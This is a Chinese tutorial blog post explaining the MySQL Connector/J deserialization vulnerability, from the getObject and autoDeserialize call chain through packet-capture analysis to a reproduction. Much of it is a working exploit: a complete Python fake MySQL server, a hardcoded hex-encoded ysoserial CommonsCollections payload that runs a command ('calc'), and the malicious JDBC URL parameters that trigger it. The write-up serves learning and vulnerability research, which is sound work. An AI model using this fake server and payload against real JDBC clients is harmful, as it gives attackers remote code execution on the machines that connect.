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小白看得懂的MySQL JDBC 反序列化漏洞分析

2020-08-24 11:45

MySQL JDBC 反序列化漏洞

  • 该漏洞是BlackHat Europe 2019会议中的一个议题.可以看参考1
  • 该文章的主要优点在于对于POC的编写有更详细的过程,适合于新手.
    ### 使用环境
    mysql-connector-8.0.12.jar
    idea 2020.1 专业版
    windows 10
    python3
    ysoserial
    wireshark
    npcap
    ### 基本知识
    #### JDBC简介
    JDBC(Java DataBase Connectivity)是Java和数据库之间的一个桥梁,是一个 规范 而不是一个实现,能够执行SQL语句。它由一组用Java语言编写的类和接口组成。各种不同类型的数据库都有相应的实现,本文中的代码都是针对MySQL数据库实现的。
    #### 简单实例
    String Driver = "com.mysql.cj.jdbc.Driver"; //从 mysql-connector-java 6开始
    //String Driver = "com.mysql.jdbc.Driver"; // mysql-connector-java 5
    String DB_URL="jdbc:mysql://127.0.0.1:3306/security";
    //1.加载启动
    Class.forName(Driver);
    //2.建立连接
    Connection conn = DriverManager.getConnection(DB_URL,"root","root");
    //3.操作数据库,实现增删改查
    Statement stmt = conn.createStatement();
    ResultSet rs = stmt.executeQuery("select * from users");
    //如果有数据,rs.next()返回true
    while(rs.next()){
    System.out.println(rs.getString("id")+" : "+rs.getString("username"));

java序列化对象特征

这个东西是为了理解下面的代码而写的.
我们先写一个简单的demo

public class Car implements Serializable {

private String name;
public Car(){
this.name ="car";
}

public static void main(String[] args) throws IOException {
Car car=new Car();
FileOutputStream fos =new FileOutputStream("output");
ObjectOutputStream oos =new ObjectOutputStream(fos);
oos.writeObject(car);
oos.close();
}
}

上面的代码把一个Car对象输出到了文件中.我们看一下文件的字节内容.

可以看到我们序列化后的对象前两个字节分别是-84和-19 .这个是java对象的一个标识,后面会用到这两个数字.

原理分析

根据原作者的思路去分析他是如何去挖掘这个漏洞的.

  • 反序列化漏洞,那就需要可以解析我们传过来的恶意对象.而不是把我们传输过来的当做字节数据处理. 所以需要找到一个可以readObject的地方

1.于是作者在这里盯上了com.mysql.cj.jdbc.result.ResultSetImpl.getObject(). 主要看其中重要的逻辑代码,对源代码进行了部分删减.

public Object getObject(int columnIndex) throws SQLException {

Field field = this.columnDefinition.getFields()[columnIndexMinusOne];
switch (field.getMysqlType()) {
case BIT:
//判断数据是不是blob或者二进制数据
if (field.isBinary() || field.isBlob()) {
byte[] data = getBytes(columnIndex);
//获取连接属性的autoDeserialize是否为true
if (this.connection.getPropertySet().getBooleanProperty(PropertyDefinitions.PNAME_autoDeserialize).getValue()) {
Object obj = data;
//data长度大于等于2是为了下一个判断.
if ((data != null) && (data.length >= 2)) {
if ((data[0] == -84) && (data[1] == -19)) {
//上面已经分析过了,就是识别是不是序列化后的对象
// Serialized object?
//下面就是反序列化对象了.
try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject();
objIn.close();
bytesIn.close();
}
}
}
return obj;
}
return data;
}
..............
  1. 现在就是找调用 getObject的地方了.作者找到了
    com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues()方法。

ServerStatusDiffInterceptor是一个拦截器,在JDBC URL中设定属性queryInterceptors为ServerStatusDiffInterceptor时,执行查询语句会调用拦截器的preProcess和postProcess方法,进而通过上述调用链最终调用getObject()方法。

在JDBC连接数据库的过程中,会调用SHOW SESSION STATUS去查询,然后对结果进行处理的时候会调用resultSetToMap.跟进去.

这里还需要关注一个点getObject的columnindex的值,感谢fnmsd的提醒。这个值会在后面用到。
到这里我们已经找到了一个利用链了.设置拦截器,然后进入到getObject,在getObject中,只要autoDeserialize 为True.就可以进入到最后readObject中.
这也是POC中的queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true的由来.

复现

刚开始一直用别人现成的POC,结果一直出错。老大问我看懂了没有,我说看懂了,就是调试不通过.
老大说我没看懂,自己只是在做一件事情,就是用别人东西试了一下,复现成功了,就觉得自己会了.但是你没会,你只是在无用功.

复现的思路

在JDBC连接MySQL的过程中,执行了SHOW SESSION STATUS语句.我们返回的结果需要是一个恶意的对象.那就是说我们需要自己写一个假的MYSQL服务.
这里就会有两种写法1.根据MYSQL的协议去写服务器. 2.抓包,模拟发包过程.
我这里选择使用第二种方法.(因为比较简单,后面发现还是要看mysql协议)

数据包分析

  1. 抓包,因为我使用的是本地的MYSQL,所以抓包需要使用npcap.因为默认的wireshark使用的是winpcap,它不会抓取本地环回的数据包

安装好以后.如下图所示,就可以抓取本地环回包了.
编写简单的测试用例,保证可以连接本地的数据库

public static void main(String[] args) throws Exception{
String Driver = "com.mysql.cj.jdbc.Driver";

String DB_URL = "jdbc:mysql://127.0.0.1:3306/security?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";
Class.forName(Driver);
Connection conn = DriverManager.getConnection(DB_URL,"root","root");
}
}

图中标记的No为62的包就是show session status,也就是我们一共需要关注前面10个数据包的内容
使用tcp.port ==3306 && mysql 来过滤协议

这里面最难得应该是最后一个数据包的编写了,前面都可以直接按流量包总的数据直接抄过来的。

  1. 分析数据包
    先看一个简单的Response OK数据包.

所以Response OK的数据包内容,我们只需要发送0700000200000002000000
No.44是一个问候报文。

我们直接把数据发送过去就行。

show session status响应包的编写.

刚开始觉得是不需要了解MYSQL私有协议的,结果我错了。如果要自己编写POC,还是要看得懂的。这里会简单分析一下。
从流量中可以看出来show session status属于request Query 报文。对于查询数据包的响应包可以分为四种:错误包(ERR Packet)、正确包(OK Packet)、 Protocol::LOCAL_INFILE_Request、结果集(ProtocolText::Resultset)。我们上面看到的Response OK数据包就是OK packet
这一部分我们主要是用的是结果集这个数据包。这里给出官方例子
结果集响应包的结构如图所示。


上面的官方图说明了一个结果集响应包的结构。

  • 数据段1:说明下面的结果集有多少列
  • 数据段2:列的定义
  • 数据段3: EOF 包
  • 数据段4:行数据。

数据段的结构也是相似的。 长度(3字节) 序号(1字节) 协议数据(不同协议,数据不同)

  1. 数据段1就可以写成01 00 00 01 02 前三字节表示数据长度为1,sequence id为1,最后一字节02表示有两列(因为尝试写一列无法正常运行)
  2. 数据段2列的定义就比较复杂了。拿我写好的数据直接分析吧1a000002036465660001630163016301630c3f00ffff0000fcffff000000

    1a 00 00  //3字节表示长度(这个长度说的是协议的内容长度,不包括序号那一字节)
    02 //序号 因为是第二个数据字段
    03646566 // 这个就是def的意思。
    00 //schema 协议因为不使用就用00
    01 63 //table 因为我们使用列数据,就不需要名字了,下面几个都是任意字符。字符串第一字节是用来说明长度的。
    01 63 //org_table 01表示1字节,63是数据
    0163 //name
    0163 //org_name
    0c filler // length of the following fields 总是0x0c
    3f00 //characterset 字符编码 003f是binary
    ffff0000 column_length //允许数据最大长度,就是我们行数据的最大长度。ffff
    fc //column_type 这一列数据类型 fc表示blob
    9000 //flags 9000用的官方的 poc可以运行。 看fnmsd的要大于128好像。
    00 //decimals
    0000 //filler_2
  3. 我的POC没有写 EOF包,不知道为什么加上就无法复现成功。(希望有人解答)

  4. 数据字段4就是POC了。POC其实和上面一样的。计算出长度(3字节)序号(1字节)行数据(行数据第一个字节是数据的长度)
  5. POC使用ysoserial 。 java -jar ysoserial [common7那个] "calc" > a

有了上面的只是再去看别人的POC就很简单了。

POC

# -*- coding:utf-8 -*-
#@Time : 2020/7/27 2:10
#@Author: Tri0mphe7
#@File : server.py
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()

def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))

def get_payload_content():
//file文件的内容使用ysoserial生成的 使用规则 java -jar ysoserial [common7那个] "calc" > a
file= r'a'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")

else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content

# 主要逻辑
def run():

while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))

# 1.先发送第一个 问候报文
send_data(conn,greeting_data)

while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)

#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 为什么我加了EOF Packet 就无法正常运行呢??
//获取payload
payload_content=get_payload_content()
//计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
//计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break


if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3309

sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)

print("start fake mysql server listening on {}:{}".format(HOST,PORT))

run()

JDBCclient

public class JdbcClient {


public static void main(String[] args) throws Exception{
String driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";//8.x使用

Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
}
}

参考链接

特别感谢fnmsd对我的帮助。第二个参考链接就是fnmsd的原文。

  1. 原文
  2. fnmsd的分析文章
  3. MySQL JDBC 客户端反序列化漏洞
  4. 链接


知识来源: xz.aliyun.com/t/8159

阅读:174693 | 评论:0 | 标签:漏洞 SQL 序列化

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